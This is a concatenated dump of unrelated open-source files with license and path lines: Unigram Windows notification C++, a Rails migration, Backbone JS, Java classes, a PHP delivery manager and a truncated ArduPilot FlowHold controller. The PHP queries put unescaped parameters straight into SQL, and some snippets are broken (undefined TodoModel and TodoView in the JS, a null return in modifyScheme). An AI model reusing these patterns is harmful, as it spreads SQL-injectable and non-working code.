notification->GetNamedObject("data"); if (data == nullptr) { return; } if (data->HasKey("loc_key") == false) { //time_t rawtime = time(NULL); //struct tm timeinfo; //wchar_t buffer[80]; //time(&rawtime); //localtime_s(&timeinfo, &rawtime); //wcsftime(buffer, sizeof(buffer), L"%d-%m-%Y %I:%M:%S", &timeinfo); //std::wstring str(buffer); //*log << L"["; //*log << str; //*log << L"] Removing a toast notification\n"; auto custom = data->GetNamedObject("custom"); auto group = GetGroup(custom); ToastNotificationManager::History->RemoveGroup(group, L"App"); return; } auto muted = data->GetNamedString("mute", "0") == L"1"; if (!muted) { auto loc_key = data->GetNamedString("loc_key"); auto loc_args = data->GetNamedArray("loc_args"); auto custom = data->GetNamedObject("custom", nullptr); //time_t rawtime = time(NULL); //struct tm timeinfo; //wchar_t buffer[80]; //time(&rawtime); //localtime_s(&timeinfo, &rawtime); //wcsftime(buffer, sizeof(buffer), L"%d-%m-%Y %I:%M:%S", &timeinfo); //std::wstring str(buffer); //*log << L"["; //*log << str; //*log << L"] Received notification with loc_key "; //*log << loc_key->Data(); //*log << L"\n"; auto caption = GetCaption(loc_args, loc_key); auto message = GetMessage(loc_args, loc_key); auto sound = data->GetNamedString("sound", "Default"); auto launch = GetLaunch(custom, loc_key); auto group = GetGroup(custom); auto picture = GetPicture(custom, group); auto date = GetDate(notification); if (message == nullptr) { message = data->GetNamedString("text", "New Notification"); } //if (loc_key->Equals(L"PHONE_CALL_MISSED")) //{ // ToastNotificationManager::History->Remove(L"phoneCall"); //} if (loc_key->Equals(L"PHONE_CALL_REQUEST")) { UpdateToast(caption, message, sound, launch, L"phoneCall", group, picture, date, loc_key); UpdatePhoneCall(caption, message, sound, launch, L"phoneCall", group, picture, date, loc_key); } else { auto tag = GetTag(custom); UpdateToast(caption, message, sound, launch, tag, group, picture, date, loc_key); UpdatePrimaryBadge(data->GetNamedNumber("badge")); if (loc_key != L"DC_UPDATE") { UpdatePrimaryTile(caption, message, picture); } } } } String^ NotificationTask::GetCaption(JsonArray^ loc_args, String^ loc_key) { std::wstring key = loc_key->Data(); if (key.find(L"CHAT") == 0 || key.find(L"GEOCHAT") == 0) { return loc_args->GetStringAt(1); } else if (key.find(L"MESSAGE") == 0) { return loc_args->GetStringAt(0); } else if (key.find(L"CHANNEL") == 0) { return loc_args->GetStringAt(0); } else if (key.find(L"PINNED") == 0) { return loc_args->GetStringAt(0); } else if (key.find(L"PHONE_CALL") == 0) { return loc_args->GetStringAt(0); } else if (key.find(L"AUTH") == 0 || key.find(L"CONTACT") == 0 || key.find(L"ENCRYPTED") == 0 || key.find(L"ENCRYPTION") == 0) { return "Telegram"; } return "Telegram"; } String^ NotificationTask::GetMessage(JsonArray^ loc_args, String^ loc_key) { auto resourceLoader = ResourceLoader::GetForViewIndependentUse("Unigram.Tasks/Resources"); auto text = resourceLoader->GetString(loc_key); if (text->Length()) { std::wstring wtext = text->Data(); for (int i = 0; i < loc_args->Size; i++) { wchar_t* code = new wchar_t[4]; swprintf_s(code, 4, L"{%d}", i); std::string::size_type index = wtext.find(code); if (index != std::string::npos) { wtext = wtext.replace(wtext.find(code), 3, loc_args->GetStringAt(i)->Data()); } } return ref new String(wtext.c_str()); } return nullptr; } String^ NotificationTask::GetLaunch(JsonObject^ custom, String^ loc_key) { std::wstring launch = L""; if (custom) { if (custom->HasKey("msg_id")) { launch += L"msg_id="; launch += custom->GetNamedString("msg_id")->Data(); launch += L"&amp;"; } if (custom->HasKey("chat_id")) { launch += L"chat_id="; launch += custom->GetNamedString("chat_id")->Data(); launch += L"&amp;"; } if (custom->HasKey("channel_id")) { launch += L"channel_id="; launch += custom->GetNamedString("channel_id")->Data(); launch += L"&amp;"; } if (custom->HasKey("from_id")) { launch += L"from_id="; launch += custom->GetNamedString("from_id")->Data(); launch += L"&amp;"; } if (custom->HasKey("mtpeer")) { auto mtpeer = custom->GetNamedObject("mtpeer"); if (mtpeer->HasKey("ah")) { launch += L"access_hash="; launch += mtpeer->GetNamedString("ah")->Data(); launch += L"&amp;"; } } } launch += L"Action="; launch += loc_key->Data(); return ref new String(launch.c_str()); } String^ NotificationTask::GetTag(JsonObject^ custom) { if (custom) { return custom->GetNamedString("msg_id"); } return nullptr; } String^ NotificationTask::GetGroup(JsonObject^ custom) { if (custom) { if (custom->HasKey("chat_id")) { return String::Concat("c", custom->GetNamedString("chat_id")); } else if (custom->HasKey("channel_id")) { return String::Concat("c", custom->GetNamedString("channel_id")); } else if (custom->HasKey("from_id")) { return String::Concat("u", custom->GetNamedString("from_id")); } else if (custom->HasKey("contact_id")) { return String::Concat("u", custom->GetNamedString("contact_id")); } } return nullptr; } String^ NotificationTask::GetPicture(JsonObject^ custom, String^ group) { if (custom && custom->HasKey("mtpeer")) { auto mtpeer = custom->GetNamedObject("mtpeer"); if (mtpeer->HasKey("ph")) { auto ph = mtpeer->GetNamedObject("ph"); auto volume_id = ph->GetNamedString("volume_id"); auto local_id = ph->GetNamedString("local_id"); auto secret = ph->GetNamedString("secret"); std::wstring volumeSTR = volume_id->Data(); auto volumeULL = wcstoull(volumeSTR.c_str(), NULL, 0); auto volumeLL = static_cast<signed long long>(volumeULL); std::wstring secretSTR = secret->Data(); auto secretULL = wcstoull(secretSTR.c_str(), NULL, 0); auto secretLL = static_cast<signed long long>(secretULL); auto temp = ApplicationData::Current->LocalFolder->Path; std::wstringstream path; path << temp->Data() << L"\\temp\\" << volumeLL << L"_" << local_id->Data() << L"_" << secretLL << L".jpg"; WIN32_FIND_DATA FindFileData; HANDLE handle = FindFirstFile(path.str().c_str(), &FindFileData); int found = handle != INVALID_HANDLE_VALUE; if (found) { FindClose(handle); std::wstringstream almost; almost << L"ms-appdata:///local/temp/" << volumeLL << L"_" << local_id->Data() << L"_" << secretLL << L".jpg"; return ref new String(almost.str().c_str()); } } } std::wstringstream almost; almost << L"ms-appdata:///local/temp/placeholders/" << group->Data() << L"_placeholder.png"; return ref new String(almost.str().c_str()); } String^ NotificationTask::GetDate(JsonObject^ notification) { const time_t rawtime = notification->GetNamedNumber(L"date"); struct tm dt; wchar_t buffer[30]; localtime_s(&dt, &rawtime); wcsftime(buffer, sizeof(buffer), L"%FT%T%zZ", &dt); return ref new String(buffer); } void NotificationTask::UpdatePrimaryBadge(int badgeNumber) { auto updater = BadgeUpdateManager::CreateBadgeUpdaterForApplication(L"App"); if (badgeNumber == 0) { updater->Clear(); return; } auto document = BadgeUpdateManager::GetTemplateContent(BadgeTemplateType::BadgeNumber); auto element = safe_cast<XmlElement^>(document->SelectSingleNode("/badge")); element->SetAttribute("value", badgeNumber.ToString()); updater->Update(ref new BadgeNotification(document)); } //void NotificationTask::UpdateSecondaryBadge(String^ group, bool resetBadge) //{ // auto updater = BadgeUpdateManager::CreateBadgeUpdaterForSecondaryTile(group); // // if (resetBadge) // { // updater->Clear(); // return; // } // // auto document = BadgeUpdateManager::GetTemplateContent(BadgeTemplateType::BadgeNumber); // auto element = safe_cast<XmlElement^>(document->SelectSingleNode("/badge")); // auto badgeValue = element->GetAttribute("value"); // auto badgeNumber = badgeValue == nullptr || badgeValue->IsEmpty() ? 0 : std::stoi(badgeValue->Data()); // badgeNumber++; // element->SetAttribute("value", badgeNumber.ToString()); // // updater->Update(ref new BadgeNotification(document)); //} std::wstring NotificationTask::Escape(std::wstring data) { std::wstring buffer; buffer.reserve(data.size()); for (size_t pos = 0; pos != data.size(); ++pos) { switch (data[pos]) { case '&': buffer.append(L"&amp;"); break; case '\"': buffer.append(L"&quot;"); break; case '\'': buffer.append(L"&apos;"); break; case '<': buffer.append(L"&lt;"); break; case '>': buffer.append(L"&gt;"); break; default: buffer.append(&data[pos], 1); break; } } return buffer; } void NotificationTask::ResetSecondaryTile(String^ caption, String^ picture, String^ group) { if (group == nullptr) { return; } auto existsSecondaryTile = SecondaryTile::Exists(group); if (!existsSecondaryTile) { return; } auto escapedCaption = NotificationTask::Escape(caption->Data()); std::wstring xml = L"<tile><visual>"; xml += L"<binding template='TileMedium' displayName='"; xml += escapedCaption; xml += L"' branding='name'>"; if (picture != nullptr) { xml += L"<image hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += L"</binding>"; xml += L"<binding template='TileWide' displayName='"; xml += escapedCaption; xml += L"' branding='nameAndLogo'>"; if (picture != nullptr) { xml += L"<image hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += L"</binding>"; xml += L"<binding template='TileLarge' displayName='"; xml += escapedCaption; xml += L"' branding='nameAndLogo'>"; if (picture != nullptr) { xml += L"<image hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += L"</binding>"; xml += L"</visual></tile>"; auto updater = TileUpdateManager::CreateTileUpdaterForSecondaryTile(group); auto document = ref new XmlDocument(); document->LoadXml(ref new String(xml.c_str())); auto notification = ref new TileNotification(document); updater->Update(notification); } String^ NotificationTask::CreateTileMessageBody(String^ message) { std::wstring body = L"<text hint-style='captionSubtle' hint-wrap='true'><![CDATA["; body += message->Data(); body += L"]]></text>"; return ref new String(body.c_str()); } String^ NotificationTask::CreateTileMessageBodyWithCaption(String^ caption, String^ message) { std::wstring body = L"<text hint-style='body'><![CDATA["; body += caption->Data(); body += L"]]></text>"; body += L"<text hint-style='captionSubtle' hint-wrap='true'><![CDATA["; body += message->Data(); body += L"]]></text>"; return ref new String(body.c_str()); } void NotificationTask::UpdatePrimaryTile(String^ caption, String^ message, String^ picture) { auto body = NotificationTask::CreateTileMessageBodyWithCaption(caption, message); std::wstring xml = L"<tile><visual>"; xml += L"<binding template='TileMedium' branding='name'>"; if (picture != nullptr) { xml += L"<image placement='peek' hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += body->Data(); xml += L"</binding>"; xml += L"<binding template='TileWide' branding='nameAndLogo'>"; xml += L"<group>"; xml += L"<subgroup hint-weight='18'>"; if (picture != nullptr) { xml += L"<image hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += L"</subgroup>"; xml += L"<subgroup>"; xml += body->Data(); xml += L"</subgroup>"; xml += L"</group>"; xml += L"</binding>"; xml += L"<binding template='TileLarge' branding='nameAndLogo'>"; xml += L"<group>"; xml += L"<subgroup hint-weight='18'>"; if (picture != nullptr) { xml += L"<image hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += L"</subgroup>"; xml += L"<subgroup>"; xml += body->Data(); xml += L"</subgroup>"; xml += L"</group>"; xml += L"</binding>"; xml += L"</visual></tile>"; auto updater = TileUpdateManager::CreateTileUpdaterForApplication(L"App"); auto document = ref new XmlDocument(); document->LoadXml(ref new String(xml.c_str())); auto notification = ref new TileNotification(document); updater->Update(notification); } //void NotificationTask::UpdateSecondaryTile(String^ caption, String^ message, String^ picture, String^ group) //{ // auto body = NotificationTask::CreateTileMessageBody(message); // // auto escapedCaption = NotificationTask::Escape(caption->Data()); // // std::wstring xml = L"<tile><visual>"; // xml += L"<binding template='TileMedium' displayName='"; // xml += escapedCaption; // xml += L"' branding='name'>"; // if (picture != nullptr) // { // xml += L"<image placement='peek' hint-crop='circle' src='"; // xml += picture->Data(); // xml += L"'/>"; // } // xml += body->Data(); // xml += L"</binding>"; // xml += L"<binding template='TileWide' displayName='"; // xml += escapedCaption; // xml += L"' branding='nameAndLogo'>"; // xml += L"<group>"; // xml += L"<subgroup hint-weight='18'>"; // if (picture != nullptr) // { // xml += L"<image hint-crop='circle' src='"; // xml += picture->Data(); // xml += L"'/>"; // } // xml += L"</subgroup>"; // xml += L"<subgroup>"; // xml += body->Data(); // xml += L"</subgroup>"; // xml += L"</group>"; // xml += L"</binding>"; // xml += L"<binding template='TileLarge' displayName='"; // xml += escapedCaption; // xml += L"' branding='nameAndLogo'>"; // xml += L"<group>"; // xml += L"<subgroup hint-weight='18'>"; // if (picture != nullptr) // { // xml += L"<image hint-crop='circle' src='"; // xml += picture->Data(); // xml += L"'/>"; // } // xml += L"</subgroup>"; // xml += L"<subgroup>"; // xml += body->Data(); // xml += L"</subgroup>"; // xml += L"</group>"; // xml += L"</binding>"; // xml += L"</visual></tile>"; // // auto updater = TileUpdateManager::CreateTileUpdaterForSecondaryTile(group); // // auto document = ref new XmlDocument(); // document->LoadXml(ref new String(xml.c_str())); // // auto notification = ref new TileNotification(document); // // updater->Update(notification); //} void NotificationTask::UpdateToast(String^ caption, String^ message, String^ sound, String^ launch, String^ tag, String^ group, String^ picture, String^ date, String^ loc_key) { bool allow = true; //auto settings = ApplicationData::Current->LocalSettings; //if (settings->Values->HasKey("SessionGuid")) //{ // auto guid = safe_cast<String^>(settings->Values->Lookup("SessionGuid")); // std::wstringstream path; // path << temp->Data() // << L"\\" // << guid->Data() // << L"\\passcode_params.dat"; // WIN32_FIND_DATA FindFileData; // HANDLE handle = FindFirstFile(path.str().c_str(), &FindFileData); // int found = handle != INVALID_HANDLE_VALUE; // if (found) // { // FindClose(handle); // allow = false; // } //} std::wstring key = loc_key->Data(); std::wstring actions = L""; if (group != nullptr && key.find(L"CHANNEL") && allow) { actions = L"<actions><input id='QuickMessage' type='text' placeHolderContent='Type a message...' /><action activationType='background' arguments='"; actions += launch->Data(); actions += L"' hint-inputId='QuickMessage' content='Send' imageUri='ms-appx:///Assets/Icons/Toast/Send.png'/></actions>"; } std::wstring audio = L""; if (sound->Equals("silent")) { audio = L"<audio silent='true'/>"; } std::wstring xml = L"<toast launch='"; xml += launch->Data(); xml += L"' displaytimestamp='"; xml += date->Data(); //xml += L"' hint-people='remoteid:"; //xml += group->Data(); xml += L"'><visual><binding template='ToastGeneric'>"; if (picture != nullptr) { xml += L"<image placement='appLogoOverride' hint-crop='circle' src='"; xml += picture->Data(); xml += L"'/>"; } xml += L"<text><![CDATA["; xml += caption->Data(); xml += L"]]></text><text><![CDATA["; xml += message->Data(); //xml += L"]]></text><text placement='attribution'>Unigram</text></binding></visual>"; xml += L"]]></text></binding></visual>"; xml += actions; xml += audio; xml += L"</toast>"; auto notifier = ToastNotificationManager::CreateToastNotifier(L"App"); auto document = ref new XmlDocument(); document->LoadXml(ref new String(xml.c_str())); auto notification = ref new ToastNotification(document); if (tag != nullptr) notification->Tag = tag; if (group != nullptr) notification->Group = group; notifier->Show(notification); } void NotificationTask::UpdatePhoneCall(String^ caption, String^ message, String^ sound, String^ launch, String^ tag, String^ group, String^ picture, String^ date, String^ loc_key) { auto coordinator = VoipCallCoordinator::GetDefault(); create_task(coordinator->ReserveCallResourcesAsync("Unigram.Tasks.VoIPCallTask")).then([this, coordinator, caption, message, sound, launch, tag, group, picture, date, loc_key](VoipPhoneCallResourceReservationStatus status) { Sleep(1000000); //VoIPCallTask::Current->UpdatePhoneCall(caption, message, sound, launch, tag, group, picture, date, loc_key); }); }
gpl-3.0
instedd/nuntium
db/migrate/20091019134249_rename_out_message_to_ao_message.rb
197
class RenameOutMessageToAoMessage < ActiveRecord::Migration def self.up rename_table :out_messages, :ao_messages end def self.down rename_table :ao_messages, :out_messages end end
gpl-3.0
daaquan/phpfan
public/assets/js/dashboard/projectfiles.js
1795
(function() { var FileModel = Backbone.Model.extend({}); var FileView = Backbone.View.extend({ template: _.template('<li' + '<% if(status === "completed") print(" class=delete-list")%>> <input type=checkbox class="regular-checkbox" name=todoscheckbox id=' + '<%=id%>' + '<% if(status === "completed") print(" checked");%> />' + '<label for="checkbox-1-1"></label><span>' + '<%=text%></span> </li>'), events: { 'click label': 'toggleStatus' }, initialize: function() { this.model.on('change', this.render, this); }, toggleStatus: function() { this.model.toggleStatus(); }, render: function() { this.$el.html(this.template(this.model.toJSON())); return this; } }); var TodoList = Backbone.Collection.extend({ model: TodoModel, url: 'dashboard/todos', initialize: function() { this.fetch({ reset: true }); } }); var TodoListView = Backbone.View.extend({ el: '#todos', initialize: function() { _.bindAll(this, 'render'); this.collection.bind('reset', this.render, this); }, render: function() { if (this.collection.length === 0) {} else { $('#todos').empty(); this.collection.forEach(this.addOne, this); } }, addOne: function(todoItem) { var todoView = new TodoView({ model: todoItem }); this.$el.append(todoView.render().el); } }); var todolist = new TodoList(); var todolistView = new TodoListView({ collection: todolist }); todolistView.render(); }());
gpl-3.0
jasonleaster/TheWayToJava
DesignPatternInJava/DesignPatterInJava/src/main/java/com/jasonleaster/designpattern/facade/CPU.java
284
package com.jasonleaster.designpattern.facade; /** * Author: jasonleaster * Date : 2017/8/5 * Email : jasonleaster@gmail.com * Description: */ public class CPU { public void freeze() { } public void jump(long position) { } public void execute() { } }
gpl-3.0
psnc-dl/darceo
wrdz/wrdz-ru/business/src/main/java/pl/psnc/synat/wrdz/ru/services/descriptors/DescriptorSchemeManagerBean.java
2150
/** * Copyright 2015 Poznań Supercomputing and Networking Center * * Licensed under the GNU General Public License, Version 3.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.gnu.org/licenses/gpl-3.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package pl.psnc.synat.wrdz.ru.services.descriptors; import java.net.URL; import javax.ejb.EJB; import javax.ejb.Stateless; import pl.psnc.synat.wrdz.ru.dao.services.descriptors.DescriptorSchemeDao; import pl.psnc.synat.wrdz.ru.entity.services.descriptors.DescriptorScheme; import pl.psnc.synat.wrdz.ru.entity.types.DescriptorType; import pl.psnc.synat.wrdz.ru.exceptions.EntryCreationException; /** * Class managing {@link DescriptorScheme} entities basic operations. */ @Stateless public class DescriptorSchemeManagerBean implements DescriptorSchemeManager { /** * Descriptor scheme DAO for persistence operations. */ @EJB private DescriptorSchemeDao descriptorSchemeDao; @Override public DescriptorScheme createScheme(String name, String version, URL namespace, DescriptorType type) throws EntryCreationException { if (name == null || namespace == null || type == null) { throw new EntryCreationException("Cannot create scheme, at least one of the required parameters was null."); } DescriptorScheme result = type.create(name, namespace); result.setVersion(version); descriptorSchemeDao.persist(result); return result; } @Override public DescriptorScheme modifyScheme(DescriptorScheme scheme, String name, String version, URL namespace) { scheme.setName(name); scheme.setVersion(version); scheme.setNamespace(namespace.toString()); return null; } }
gpl-3.0
germix/canawa
api/src/core/DeliveryManager.php
2858
<?php include_once 'core/Delivery.php'; include_once 'core/DeliveryIterator.php'; /** * Clase que administra las entregas * * @author Germán Martínez * */ class DeliveryManager { /** * Agregar una entrega * * @param integer $saleId Id de la venta * @param string $date Fecha de la entrega * @param string $location Dirección de la entrega * * @return Delivery|integer Entrega ó código de error */ public static function addDelivery($saleId, $date, $location) { $id = createId(); $con = Connection::getInstance(); $res = $con->query("INSERT INTO `DELIVERY`(`ID`,`SALE_ID`,`DATE`,`LOCATION`,`DELIVERED`) VALUES('$id','$saleId','$date','$location','FALSE');"); return new Delivery($id); } /** * Obtener todos las entregas * * @return DeliveryIterator Iterador de entregas */ public static function getDeliveries() { $con = Connection::getInstance(); $res = $con->query("SELECT `ID` FROM `DELIVERY`;"); return new DeliveryIterator($res); } /** * Obtener las entregas del día actual * * @return DeliveryIterator Iterador de entregas */ public static function getTodayDeliveries() { $con = Connection::getInstance(); $res = $con->query("SELECT `ID` FROM `DELIVERY` WHERE `DATE`=DATE(SYSDATE());"); return new DeliveryIterator($res); } /** * Obtener las entregas pendientes * * @return DeliveryIterator Iterador de entregas */ public static function getPendingDeliveries() { $con = Connection::getInstance(); $res = $con->query("SELECT `ID` FROM `DELIVERY` WHERE `DELIVERED`=FALSE;"); return new DeliveryIterator($res); } /** * Obtener las entregas atrasadas * * @return DeliveryIterator Iterador de entregas */ public static function getDelayedDeliveries() { $con = Connection::getInstance(); $res = $con->query("SELECT `ID` FROM `DELIVERY` WHERE `DATE` < SYSDATE() AND `DELIVERED`=FALSE;"); return new DeliveryIterator($res); } /** * Obtener entrega a partir de un id * * @param integer $id Id de la entrega * * @return Delivery|integer Entrega ó codigo de error */ public static function getDelivery($id) { // Obtener conexión $con = Connection::getInstance(); // Obtener id como comprobación si es un id válido $res = $con->query("SELECT `ID` FROM `DELIVERY` WHERE `ID`='$id';"); // Si tiene datos estonces es un id válido if(null != ($data = $res->fetch_array())) { return new Delivery($id); } return ERROR___INVALID_ID; } /** * Eliminar una entrega * * @param integer $id Id de la entrega * * @return integer SUCCESS ó código de error */ public static function deleteDelivery($id) { // Obtener conexión $con = Connection::getInstance(); // Eliminar de la DB $res = $con->query("DELETE FROM `DELIVERY` WHERE `ID`='$id';"); return SUCCESS; } } ?>
gpl-3.0
kellyschrock/ardupilot
ArduCopter/mode_flowhold.cpp
17473
#include "Copter.h" #include <utility> #if !HAL_MINIMIZE_FEATURES && OPTFLOW == ENABLED /* implement FLOWHOLD mode, for position hold using optical flow without rangefinder */ const AP_Param::GroupInfo Copter::ModeFlowHold::var_info[] = { // @Param: _XY_P // @DisplayName: FlowHold P gain // @Description: FlowHold (horizontal) P gain. // @Range: 0.1 6.0 // @Increment: 0.1 // @User: Advanced // @Param: _XY_I // @DisplayName: FlowHold I gain // @Description: FlowHold (horizontal) I gain // @Range: 0.02 1.00 // @Increment: 0.01 // @User: Advanced // @Param: _XY_IMAX // @DisplayName: FlowHold Integrator Max // @Description: FlowHold (horizontal) integrator maximum // @Range: 0 4500 // @Increment: 10 // @Units: cdeg // @User: Advanced // @Param: _XY_FILT_HZ // @DisplayName: FlowHold filter on input to control // @Description: FlowHold (horizontal) filter on input to control // @Range: 0 100 // @Units: Hz // @User: Advanced AP_SUBGROUPINFO(flow_pi_xy, "_XY_", 1, Copter::ModeFlowHold, AC_PI_2D), // @Param: _FLOW_MAX // @DisplayName: FlowHold Flow Rate Max // @Description: Controls maximum apparent flow rate in flowhold // @Range: 0.1 2.5 // @User: Standard AP_GROUPINFO("_FLOW_MAX", 2, Copter::ModeFlowHold, flow_max, 0.6), // @Param: _FILT_HZ // @DisplayName: FlowHold Filter Frequency // @Description: Filter frequency for flow data // @Range: 1 100 // @Units: Hz // @User: Standard AP_GROUPINFO("_FILT_HZ", 3, Copter::ModeFlowHold, flow_filter_hz, 5), // @Param: _QUAL_MIN // @DisplayName: FlowHold Flow quality minimum // @Description: Minimum flow quality to use flow position hold // @Range: 0 255 // @User: Standard AP_GROUPINFO("_QUAL_MIN", 4, Copter::ModeFlowHold, flow_min_quality, 10), // 5 was FLOW_SPEED // @Param: _BRAKE_RATE // @DisplayName: FlowHold Braking rate // @Description: Controls deceleration rate on stick release // @Range: 1 30 // @User: Standard // @Units: deg/s AP_GROUPINFO("_BRAKE_RATE", 6, Copter::ModeFlowHold, brake_rate_dps, 8), AP_GROUPEND }; Copter::ModeFlowHold::ModeFlowHold(void) : Mode() { AP_Param::setup_object_defaults(this, var_info); } #define CONTROL_FLOWHOLD_EARTH_FRAME 0 // flowhold_init - initialise flowhold controller bool Copter::ModeFlowHold::init(bool ignore_checks) { if (!copter.optflow.enabled() || !copter.optflow.healthy()) { return false; } // initialize vertical speeds and leash lengths copter.pos_control->set_max_speed_z(-get_pilot_speed_dn(), copter.g.pilot_speed_up); copter.pos_control->set_max_accel_z(copter.g.pilot_accel_z); // initialise position and desired velocity if (!copter.pos_control->is_active_z()) { copter.pos_control->set_alt_target_to_current_alt(); copter.pos_control->set_desired_velocity_z(copter.inertial_nav.get_velocity_z()); } flow_filter.set_cutoff_frequency(copter.scheduler.get_loop_rate_hz(), flow_filter_hz.get()); quality_filtered = 0; flow_pi_xy.reset_I(); limited = false; flow_pi_xy.set_dt(1.0/copter.scheduler.get_loop_rate_hz()); // start with INS height last_ins_height = copter.inertial_nav.get_altitude() * 0.01; height_offset = 0; return true; } /* calculate desired attitude from flow sensor. Called when flow sensor is healthy */ void Copter::ModeFlowHold::flowhold_flow_to_angle(Vector2f &bf_angles, bool stick_input) { uint32_t now = AP_HAL::millis(); // get corrected raw flow rate Vector2f raw_flow = copter.optflow.flowRate() - copter.optflow.bodyRate(); // limit sensor flow, this prevents oscillation at low altitudes raw_flow.x = constrain_float(raw_flow.x, -flow_max, flow_max); raw_flow.y = constrain_float(raw_flow.y, -flow_max, flow_max); // filter the flow rate Vector2f sensor_flow = flow_filter.apply(raw_flow); // scale by height estimate, limiting it to height_min to height_max float ins_height = copter.inertial_nav.get_altitude() * 0.01; float height_estimate = ins_height + height_offset; // compensate for height, this converts to (approx) m/s sensor_flow *= constrain_float(height_estimate, height_min, height_max); // rotate controller input to earth frame Vector2f input_ef = copter.ahrs.rotate_body_to_earth2D(sensor_flow); // run PI controller flow_pi_xy.set_input(input_ef); // get earth frame controller attitude in centi-degrees Vector2f ef_output; // get P term ef_output = flow_pi_xy.get_p(); if (stick_input) { last_stick_input_ms = now; braking = true; } if (!stick_input && braking) { // stop braking if either 3s has passed, or we have slowed below 0.3m/s if (now - last_stick_input_ms > 3000 || sensor_flow.length() < 0.3) { braking = false; #if 0 printf("braking done at %u vel=%f\n", now - last_stick_input_ms, (double)sensor_flow.length()); #endif } } if (!stick_input && !braking) { // get I term if (limited) { // only allow I term to shrink in length xy_I = flow_pi_xy.get_i_shrink(); } else { // normal I term operation xy_I = flow_pi_xy.get_pi(); } } if (!stick_input && braking) { // calculate brake angle for each axis separately for (uint8_t i=0; i<2; i++) { float &velocity = sensor_flow[i]; float abs_vel_cms = fabsf(velocity)*100; const float brake_gain = (15.0f * brake_rate_dps.get() + 95.0f) / 100.0f; float lean_angle_cd = brake_gain * abs_vel_cms * (1.0f+500.0f/(abs_vel_cms+60.0f)); if (velocity < 0) { lean_angle_cd = -lean_angle_cd; } bf_angles[i] = lean_angle_cd; } ef_output.zero(); } ef_output += xy_I; ef_output *= copter.aparm.angle_max; // convert to body frame bf_angles += copter.ahrs.rotate_earth_to_body2D(ef_output); // set limited flag to prevent integrator windup limited = fabsf(bf_angles.x) > copter.aparm.angle_max || fabsf(bf_angles.y) > copter.aparm.angle_max; // constrain to angle limit bf_angles.x = constrain_float(bf_angles.x, -copter.aparm.angle_max, copter.aparm.angle_max); bf_angles.y = constrain_float(bf_angles.y, -copter.aparm.angle_max, copter.aparm.angle_max); if (log_counter++ % 20 == 0) { AP::logger().Write("FHLD", "TimeUS,SFx,SFy,Ax,Ay,Qual,Ix,Iy", "Qfffffff", AP_HAL::micros64(), (double)sensor_flow.x, (double)sensor_flow.y, (double)bf_angles.x, (double)bf_angles.y, (double)quality_filtered, (double)xy_I.x, (double)xy_I.y); } } // flowhold_run - runs the flowhold controller // should be called at 100hz or more void Copter::ModeFlowHold::run() { float takeoff_climb_rate = 0.0f; update_height_estimate(); // initialize vertical speeds and acceleration copter.pos_control->set_max_speed_z(-get_pilot_speed_dn(), copter.g.pilot_speed_up); copter.pos_control->set_max_accel_z(copter.g.pilot_accel_z); // apply SIMPLE mode transform to pilot inputs update_simple_mode(); // check for filter change if (!is_equal(flow_filter.get_cutoff_freq(), flow_filter_hz.get())) { flow_filter.set_cutoff_frequency(flow_filter_hz.get()); } // get pilot desired climb rate float target_climb_rate = copter.get_pilot_desired_climb_rate(copter.channel_throttle->get_control_in()); target_climb_rate = constrain_float(target_climb_rate, -get_pilot_speed_dn(), copter.g.pilot_speed_up); // get pilot's desired yaw rate float target_yaw_rate = copter.get_pilot_desired_yaw_rate(copter.channel_yaw->get_control_in()); // Flow Hold State Machine Determination AltHoldModeState flowhold_state = get_alt_hold_state(target_climb_rate); if (copter.optflow.healthy()) { const float filter_constant = 0.95; quality_filtered = filter_constant * quality_filtered + (1-filter_constant) * copter.optflow.quality(); } else { quality_filtered = 0; } // Flow Hold State Machine switch (flowhold_state) { case AltHold_MotorStopped: copter.motors->set_desired_spool_state(AP_Motors::DesiredSpoolState::SHUT_DOWN); copter.attitude_control->reset_rate_controller_I_terms(); copter.attitude_control->set_yaw_target_to_current_heading(); copter.pos_control->relax_alt_hold_controllers(0.0f); // forces throttle output to go to zero flow_pi_xy.reset_I(); break; case AltHold_Takeoff: // set motors to full range copter.motors->set_desired_spool_state(AP_Motors::DesiredSpoolState::THROTTLE_UNLIMITED); // initiate take-off if (!takeoff.running()) { takeoff.start(constrain_float(g.pilot_takeoff_alt,0.0f,1000.0f)); } // get take-off adjusted pilot and takeoff climb rates takeoff.get_climb_rates(target_climb_rate, takeoff_climb_rate); // get avoidance adjusted climb rate target_climb_rate = copter.get_avoidance_adjusted_climbrate(target_climb_rate); // call position controller copter.pos_control->set_alt_target_from_climb_rate_ff(target_climb_rate, copter.G_Dt, false); copter.pos_control->add_takeoff_climb_rate(takeoff_climb_rate, copter.G_Dt); break; case AltHold_Landed_Ground_Idle: attitude_control->reset_rate_controller_I_terms(); attitude_control->set_yaw_target_to_current_heading(); // FALLTHROUGH case AltHold_Landed_Pre_Takeoff: pos_control->relax_alt_hold_controllers(0.0f); // forces throttle output to go to zero break; case AltHold_Flying: copter.motors->set_desired_spool_state(AP_Motors::DesiredSpoolState::THROTTLE_UNLIMITED); // adjust climb rate using rangefinder target_climb_rate = copter.get_surface_tracking_climb_rate(target_climb_rate); // get avoidance adjusted climb rate target_climb_rate = copter.get_avoidance_adjusted_climbrate(target_climb_rate); copter.pos_control->set_alt_target_from_climb_rate_ff(target_climb_rate, G_Dt, false); break; } // flowhold attitude target calculations Vector2f bf_angles; // calculate alt-hold angles int16_t roll_in = copter.channel_roll->get_control_in(); int16_t pitch_in = copter.channel_pitch->get_control_in(); float angle_max = copter.attitude_control->get_althold_lean_angle_max(); get_pilot_desired_lean_angles(bf_angles.x, bf_angles.y, angle_max, attitude_control->get_althold_lean_angle_max()); if (quality_filtered >= flow_min_quality && AP_HAL::millis() - copter.arm_time_ms > 3000) { // don't use for first 3s when we are just taking off Vector2f flow_angles; flowhold_flow_to_angle(flow_angles, (roll_in != 0) || (pitch_in != 0)); flow_angles.x = constrain_float(flow_angles.x, -angle_max/2, angle_max/2); flow_angles.y = 